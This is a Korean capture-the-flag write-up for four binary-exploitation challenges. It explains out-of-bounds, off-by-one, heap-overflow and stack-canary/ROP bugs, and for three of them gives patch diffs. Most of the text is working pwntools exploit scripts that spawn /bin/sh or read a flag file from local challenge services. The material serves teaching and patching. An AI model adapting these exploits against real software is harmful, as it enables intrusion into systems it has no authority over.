## 문제 풀이
## Note
**익스플로잇**
- *main.c* 파일의 노트 관련 함수에서 `note_idx`의 범위 검증에서 발생하는 로직 버그
- `if (!(0 <= note_idx < MAX_NOTE_CNT))`
- 코드는 오른쪽부터 실행되므로, `note_idx < MAX_NOTE_CNT` 부터 실행
- 해당 비교가 참(1)이든 거짓(0)이든 0 보다 같거나 크기때문에 해당 조건문은 항상 무시됨
- `note_idx`에 대한 검증이 없으므로, `notes` 전역 변수를 기준으로 **Out of bounds** 취약점이 발생
- `func_update_note` 함수를 통해, `notes` 앞에 있는 `BANNER_PATH`에 접근하여 데이터 변조
- `./banner`를 `/flags/flag`로 변조하여, 플래그 획득
```python
Result *init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
banner_cmd = (char **)malloc(sizeof(char *));
*banner_cmd = DEFAULT_BANNER_CMD;
notes = (Note *)malloc(sizeof(Note) * MAX_NOTE_CNT);
memset(notes, 0x0, sizeof(Note) * MAX_NOTE_CNT);
return create_ok();
}
| banner_cmd | NOTE[0] | .... |
```
```python
from pwn import *
context.log_level = "info"
p = remote("localhost", 1338)
p.recvuntil(b"Menu> ")
p.sendline(b"3")
p.recvuntil(b"Note index> ")
p.sendline(b"-2")
p.recvuntil(b"Title> ")
p.sendline(b"/bin/sh")
p.recvuntil(b"Content> ")
p.sendline(b"ASDF")
p.interactive()
```
**취약점 패치**
```diff
- if (!(0 <= note_idx < MAX_NOTE_CNT))
+ if (!(0 <= note_idx && note_idx < MAX_NOTE_CNT))
return create_error("Invalid note index.\n");
```
## Cash-flow
**익스플로잇**
- *main.c* 파일의 `read_string` 함수에서 발생하는 Off-by-one 버그
- `char buf[MAX(MAX_MEMO, MAX_CATEGORY)]`
- 버퍼를 입력받을 데이터의 최대 크기만큼 할당
- `buf[read(0, buf, max)] = '\0'`
- 입력받은 후, 마지막에 널 값 설정
- 버퍼를 생성할 때, 널 값이 들어갈 공간을 생각하지 않아 **Off-by-one** 취약점이 발생
- `SFP`를 변경할 수 있으므로, 스택에 `get_shell` 함수의 주소를 뿌려놓고 취약점 트리거
```python
from pwn import *
context.log_level = "info"
elf = ELF("../dist/cash_flow")
#p = elf.process()
p = remote("localhost", 1337)
p.recvuntil(b"Menu> ")
p.sendline(b"1")
p.recvuntil(b"Type of Transaction (1: Deposit, 2: Withdraw)> ")
p.sendline(b"1")
p.recvuntil(b"Amount> ")
p.sendline(b"100")
p.recvuntil(b"Date (YYYYMMDD)> ")
p.sendline(b"20241111")
p.recvuntil(b"Category> ")
p.send(b"ASDF")
payload = p64(elf.sym["get_shell"]) * (0x100 // 0x8)
p.recvuntil(b"Memo> ")
p.send(payload)
p.interactive()
```
**취약점 패치**
```diff
void read_string(ssize_t max, char *res) {
- char buf[MAX(MAX_MEMO, MAX_CATEGORY)];
+ char buf[MAX(MAX_MEMO, MAX_CATEGORY) + 1];
buf[read(0, buf, max)] = '\0';
res = malloc(strlen(buf) + 1);
strcpy(buf, res);
}
```
## Account
**익스플로잇**
- *account.c* 파일의 `fix_account` 함수에서 이미 할당된 공간과 새로 작성할 문자열의 길이를 비교하는 부분에서 발생하는 로직 버그
- `if (utf16_strlen((Utf16 *)name) * 2 >= allocated_size) {`
- 좌항은 쓰고자하는 문자열의 길이(utf16이므로 공간의 크기는 2배수)
- 우항은 이미 할당된 공간 (NULL 포함)
- `>=`로 검사하기 때문에 아스키 문자열은 위와 같은 검사에서 정상적으로 동작하지만, utf16은 NULL을 두 개 사용하므로 **Off-by-one** 취약점이 발생
- **Off-by-one** 취약점으로 `Account` 객체의 `type` 필드를 덮을 수 있음
- `type` 필드를 `0x00`으로 변경하여, 해당 객체가 저장하는 문자열의 타입을 `Ascii`에서 `Unicode`로 강제 변경 가능
- 해당 객체를 대상으로 `fix_account`를 호출하면, 문자열의 시작점으로부터 `0x0000`을 만날때까지 **Heap overflow** 취약점이 발생
- 풍수를 통해, 문자열 청크 바로 다음에 배너 경로 청크가 오도록 유도
- 기본 값인 `./banner`의 문자열 길이가 `/flags/flag` 보다 짧아서, 경로를 끝까지 입력할 수 없음
- 풍수하기 전에, 해당 영역에 미리 값을 채워놔야함 (익스 코드의 C 부분)
- 이후, **Heap overflow**를 통해 `/flags/flag`를 입력한 뒤, 배너 출력
```python
from pwn import *
import time
context.log_level = "info"
elf = ELF("../dist/account_protocol")
#p = elf.process()
p = remote("localhost", 1339)
def new_account(type: int, name: bytes) -> None:
p.send(b"\x00" + p8(type) + name)
def del_account(idx: int) -> None:
p.send(b"\x01" + p8(idx))
def fix_account(idx: int, type: int, name: bytes) -> None:
p.send(b"\x02" + p8(idx) + p8(type) + name)
def print_banner():
p.send(b"\xff")
# ascii
new_account(1, b"AAAA") # create 0
p.recvuntil(b"\x00")
# ascii
new_account(1, b"BBB") # create 1
p.recvuntil(b"\x01")
del_account(0) # del 0
p.recvuntil(b"\x00")
# ascii
# "CCCC.."를 저장하기 위한 0x20 공간 할당
new_account(1, b"C" * (0x20 - 1)) # create 0
p.recvuntil(b"\x00")
# "CCCC.."가 저장된 0x20 공간 해체
del_account(0) # del 0
p.recvuntil(b"\x00")
# "CCCC.."가 저장됐었던 공간에 재할당
print_banner()
# ascii
new_account(1, b"DDDD") # create 0
p.recvuntil(b"\x00")
fix_account(0, 0, b"\x41\x00\x41\x00") # Off-by-one
p.recvuntil(b"\x00")
fix_account(1, 0, b"\x42\x00\x42\x00" + b"/bin/sh" + b"\0\0") # Heap overflow
p.recvuntil(b"\x00")
print_banner()
p.interactive()
p.close()
```
```diff
new_account(1, b"AAAA") # create 0
new_account(1, b"BBB") # create 1
| ac[0] | AAAA\0 | ac[1] | BBB\0 |
del_account(0) # del 0
| free[ac] | free[5] | ac[1] | BBB\0 |
new_account(1, b"C" * (0x20 - 1))
| ac[0] | free[5] | ac[1] | BBB\0 | CCC..\0 |
del_account(0)
| free[ac] | free[5] | ac[1] | BBB\0 | free[0x20] |
print_banner()
| free[ac] | free[5] | ac[1] | BBB\0 | banner_cmd |
new_account(1, b"DDDD") # create 0
| ac[0] | DDDD\0 | ac[1] | BBB\0 | banner_cmd |
```
```yaml
fix_account(0, 0, b"\x41\x00\x41\x00")
# if (utf16_strlen((Utf16 *)name) * 2 >= allocated_size) {
# 좌항 = 4, 우항 = 5
# 이 때의 fix_account가 length 계산을 올바르게 수행하지 못하고 heap overflow 발생
# 이로 인해, ac[1]에 저장된 ascii(1) 플래그가 unicode(0)로 변조
| ac[0] | \x41\x00\x41\x00\x00 | ac[1] | BBB\0 | banner_cmd |
fix_account(1, 0, b"\x42\x00\x42\x00" + b"/bin/sh" + b"\0\0")
# ac[1]의 타입이 unicode라고 해석됨
# => BBB 문자열 시작부터 \x00\x00을 만날때까지가 이름이라고 해석됨
# => 원래 BBB는 ascii 타입이어서 \x00으로 끝남
# => 뒤에 있는 banner_cmd까지 ac[1]의 이름이라고 해석됨
# => 원래 길이보다 길게 인식되어서, heap overflow 체이닝 가능
# => banner_cmd 부분에 원하는 문자열을 넣을 수 있음
| ac[0] | \x41\x00\x41\x00\x00 | ac[1] | \x42\x00\x42\x00 | /bin/sh\0\0 |
```
**취약점 패치**
```diff
switch (type) {
case ACCOUNT_TYPE_ASCII:
- if (strlen((char *)name) >= allocated_size) {
+ if (strlen((char *)name) + 1 > allocated_size) {
fprintf(stderr, "invalid length\n");
return -1;
}
strcpy(ac->name.ascii->string, (char *)name);
ac->type = ACCOUNT_TYPE_ASCII;
break;
case ACCOUNT_TYPE_UNICODE:
- if (utf16_strlen((Utf16 *)name) * 2 >= allocated_size) {
+ if ((utf16_strlen((Utf16 *)name) + 1) * 2 > allocated_size) {
fprintf(stderr, "invalid length\n");
return -1;
}
```
## intelitigation
```python
from pwn import *
import base64
# context.log_level = "debug"
HOST = 'localhost'
PORT = 16384
s = remote(HOST, PORT)
received = s.recvuntil(b'input> ')
encodedFile = received.split(b'This is Your Binary>\n')[1].split(b'input> ')[0]
decoded = base64.b64decode(encodedFile)
def getSeeds(file):
seeds = list()
offset = 0x3020
for i in range(9):
seed = file[offset + (i * 8) : offset + (i * 8) + 8]
seed = u64(seed)
seeds.append(seed)
return seeds
def getPeek(file):
offset = 0x3070
return u64(file[offset : offset + 8])
seeds = getSeeds(decoded)
canary = seeds[getPeek(decoded)]
print(f'canary : {hex(canary)}')
offset = b'\xf2'
payload = b''
payload += b"A" * 520
payload += p64(canary)
payload += b"A" * 8
payload += offset
s.send(payload)
input()
received = s.recv(1024)
canary_sfp_ret_dummy = received.split(b"A" * 520)[1]
ret = canary_sfp_ret_dummy[16:-1].split(b"input")[0]
ret += b"\x00" * (8 - len(ret))
ret = u64(ret)
base = ret - 0x13f2
print(f'base : {hex(base)}')
readfile = base + 0x1253
# text:00000000000012B4 mov rdi, rsp
# .text:00000000000012B7 pop r8
# .text:00000000000012B9 retn
gadget = base + 0x12b4
payload = b''
payload += b'A' * 520
payload += p64(canary)
payload += b'A' * 8
payload += p64(gadget)
payload += b'flag' + b'\x00' * (8 - len(b"flag"))
payload += p64(readfile)
# gdb.attach(s)
s.send(payload)
input() # 시간 필요 이슈
s.interactive()
```
```python
.text:000000000000124E endbr64
.text:0000000000001252 push rbp
.text:0000000000001253 mov rbp, rsp
.text:0000000000001256 sub rsp, 20h
.text:000000000000125A mov [rbp+file], rdi
.text:000000000000125E mov rax, [rbp+file]
.text:0000000000001262 mov esi, 0 ; oflag
.text:0000000000001267 mov rdi, rax ; file
.text:000000000000126A mov eax, 0
.text:000000000000126F call _open
.text:0000000000001274 mov [rbp+fd], eax
.text:0000000000001277 mov eax, [rbp+fd]
.text:000000000000127A mov edx, 64h ; 'd' ; nbytes
.text:000000000000127F lea rcx, unk_40C0
.text:0000000000001286 mov rsi, rcx ; buf
.text:0000000000001289 mov edi, eax ; fd
.text:000000000000128B call _read
.text:0000000000001290 mov edx, 64h ; 'd' ; n
.text:0000000000001295 lea rax, unk_40C0
.text:000000000000129C mov rsi, rax ; buf
.text:000000000000129F mov edi, 1 ; fd
.text:00000000000012A4 call _write
.text:00000000000012A9 nop
.text:00000000000012AA leave
.text:00000000000012AB retn
.text:00000000000012AB ; }
```